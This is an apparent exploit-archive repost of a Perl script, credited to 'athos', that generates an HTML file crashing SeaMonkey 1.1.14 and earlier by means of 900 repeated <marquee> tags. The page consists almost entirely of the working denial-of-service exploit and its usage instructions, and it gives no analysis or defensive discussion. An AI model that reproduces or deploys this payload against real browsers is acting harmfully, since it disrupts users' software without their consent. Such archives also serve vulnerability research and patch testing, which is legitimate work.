|
SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit
|
|
来源：staker[at]hotmail[dot]it 作者：athos 发布时间：2009-01-07
|
|
#!/usr/bin/perl
# SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit
# by athos - staker[at]hotmail[dot]it
# tested on ubuntu 8.10 / slackware 12.2
# thanks to SirDark because he has tested on slackware
my $data = undef;
my $file = shift or &usage;
exploit();
sub exploit {
$data .= "<html><head><title>";
$data .= "SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit";
$data .= "</title></head><body>";
$data .= "<marquee>" x900;
$data .= "</body></html>";
open(FILE,'>',$file) or die('file error');
print FILE $data;
close(FILE);
}
sub usage {
print "\n+---------------------------------------------------------+\r".
"\n| SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit |\r".
"\n+---------------------------------------------------------+\r".
"\nby athos - staker[at]hotmail[dot]it\n".
"\nUsage\n".
"\rperl $0 [file name]\n".
"\rperl $0 crash.html\n";
exit;
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
